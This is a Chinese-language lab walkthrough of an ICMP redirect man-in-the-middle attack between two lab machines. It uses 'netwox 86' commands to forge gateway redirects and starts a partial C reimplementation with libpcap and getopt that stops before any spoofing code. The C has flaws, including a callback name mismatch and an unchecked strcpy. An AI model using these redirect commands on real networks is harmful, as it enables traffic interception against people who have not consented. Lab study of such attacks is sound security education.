使用netwox
测验
实验环境:
攻击机:
kali linux
192.168.181.129
靶机:
ubuntu20.04
192.168.181.131
默认网关:
192.168.181.2
1、安装必要工具
# 安装 ifconfig 等网络命令
$ sudo apt-get install net-tools
# 安装 traceroute
$ sudo apt-get install traceroute
# 安装 netwox 工具, 攻击机需要
$ sudo apt-get install netwox
# 安装 wireshark
$ sudo apt-get install wireshark
2、设置靶机允许重定向(一般默认允许)
# 该配置在 /proc/sys/net/ipv4/conf/all
$ cat /proc/sys/net/ipv4/conf/all/accept_redirects
# 此处一般显示为1, 若不为1, 使用下面的命令修改为1
$ sudo vim /etc/sysctl.conf
# vim打开该文件后, 设置 net.ipv4.conf.all.accept_redirects = 1 后退出
$ sudo sysctl -p # 此条语句进行刷新
3、靶机打开wireshark
,并开始抓包,选择ens33
接口,过滤条件为icmp
$ sudo wireshark
4、攻击机使用netwox 86
工具进行攻击
- 攻击机不开启转发功能进行攻击
# -f "host <ip>" -f后跟过滤规则
# -g <ip> 指定新的网关
# -i <ip> 指定靶机之前用的网关
$ sudo netwox 86 -f "host 192.168.181.131" -g 192.168.181.129 -i 192.168.181.2
因为攻击机没有开启转发功能,所以靶机
ping
失败。之所以第一个包成功了,是因为
netwox
需要抓包来进行icmp
重定向报文的伪造,也就是说,此时靶机的网关还是192.168.181.2
,靶机将ping
包发到了默认网关而非攻击机
- 攻击机开启转发功能进行攻击
# 第一步修改配置文件
$ sudo vim /etc/sysctl.conf
# 设置 net.ipv4.ip_forward = 1
$ sudo sysctl -p # 刷新
# -f "host <ip>" -f后跟过滤规则
# -g <ip> 指定新的网关
# -i <ip> 指定靶机之前用的网关
$ sudo netwox 86 -f "host 192.168.181.131" -g 192.168.181.129 -i 192.168.181.2
关注上图两个红框的内容
- 第一条是默认网关
192.168.181.2
发给靶机的重定向信息,告诉靶机要把报文发给192.168.181.129
(这里系统反写了ip
)- 第二条是攻击机
192.168.181.129
要转发报文,所以将报文转发给了网关,又因为这里网关和攻击机属于同一个子网,所以攻击机会给靶机发送重定向报文,告诉靶机要把报文直接发给网关192.168.181.2
(这里可能有点绕,好好想想)- 第三条就是靶机收到的
icmp
回复报文
最后,我们还可以看看重定向报文到底长啥样
选择一个192.168.181.2
=> 182.168.181.131
的报文看看
至此,使用netwox
环节就结束了
使用raw_socket
编程来发送icmp
重定向报文
1、pcap
抓包测验
#include <pcap.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#define MAXBYTE2CAPTURE 2048
/*
* @brief 处理抓到的包,显示数据包长度
* @param arg: 用户自定义参数
* @param pkthdr: 抓到的数据包的描述结构,内含数据包的长度等信息
* @param packet: 抓到的数据包
*/
void processPacket1(u_char *arg, const struct pcap_pkthdr *pkthdr, const u_char *packet) {
int i = 0, *counter = (int *) arg;
// 当前是第几个包
printf("Packet Count: %d\n", ++(*counter));
// 当前抓到的包的长度
printf("Received Packet Size: [%d]\n", pkthdr->len);
return ;
}
int main() {
int i = 0;
u_char count = 0;
pcap_t *descr = NULL;
char errbuf[PCAP_ERRBUF_SIZE], *first_device = NULL;
memset(errbuf, 0, sizeof(errbuf));
/* pcap_lookupdev 查找网络设备,返回可用被 pcap_open_live() 函数调用的网络设备名指针 */
first_device = pcap_lookupdev(errbuf);
printf("Opening device %s\n", first_device);
/*
pcap_open_love(device, maxsize, promisc, towait, errbuf)
maxsize 指定最大捕获字节数
promisc 指定是否采用混杂模式
towait 指定等待时间
打开网络设备,并返回用于捕获网络数据包的数据包捕获描述字
*/
descr = pcap_open_live(first_device, MAXBYTE2CAPTURE, 1, 1000, errbuf);
if (descr == NULL) {
printf("open device error!");
return 0;
}
/*
pcap_loop(pcap_t *descr, int cnt, pcap_handler callback, u_char *user);
descr 数据包捕获描述符
cnt 捕获多少个数据包停止,-1表示无限循环
callback 回调函数,捕获到一个数据包会进入该函数进行处理
user 留给用户的参数,它会作为callback函数的第一个参数
*/
pcap_loop(descr, -1, processPacket, (u_char *)&count);
}
2、命令行控制传参与设置抓包过滤规则
我们的程序需要指定新的网关和靶机正在使用的网关,以及靶机
具体参数控制规则为
-f "host <ip>" -g <new_gateway> -i <old_gateway>
那么根据getopt
规则,我们设置的参数控制语句为:f:g:i:
了解一下
netwox
原理,我们需要先抓包,再根据抓到的包进行icmp
重定向报文的发送我们这里有两种情况,指定靶机进行攻击,不指定靶机进行攻击
对于指定靶机进行攻击的操作,我们只需要设置过滤规则,只捕获靶机发出来的数据包即可
/* 请求结构,指定旧的网关和新的网关和靶机 */
typedef struct Request {
u_char vic_ip[16];
u_int new_gateway;
u_int old_gateway;
} req;
/*
* @brief 处理抓到的包
* @param arg: 用户自定义参数
* @param pkthdr: 抓到的数据包的描述结构,内含数据包的长度等信息
* @param packet: 抓到的数据包
*/
void processPacket1(u_char *arg, const struct pcap_pkthdr *pkthdr, const u_char *packet) {
}
// 返回标志是否指定靶机
int processCMD(int argc, char **argv, req *parameters) {
char *host = "host";
int ch;
int f = 0;
/* getopt函数,单个字符后接一个冒号,表示该选项后跟一个参数 */
while ((ch = getopt(argc, argv, "f:g:i:")) != -1) {
switch (ch) {
case 'f':
if (memcmp(optarg, host, 4) == 0) {
strcpy(parameters->vic_ip, optarg + 5);
f = 1;
} else {
printf("xxx.c -f \"host <vic_ip>\"\n");
exit(-1);
}
break;
case 'g':
parameters->new_gateway = inet_addr(optarg);
break;
case 'i':
parameters->old_gateway = inet_addr(optarg);
break;
default:
printf(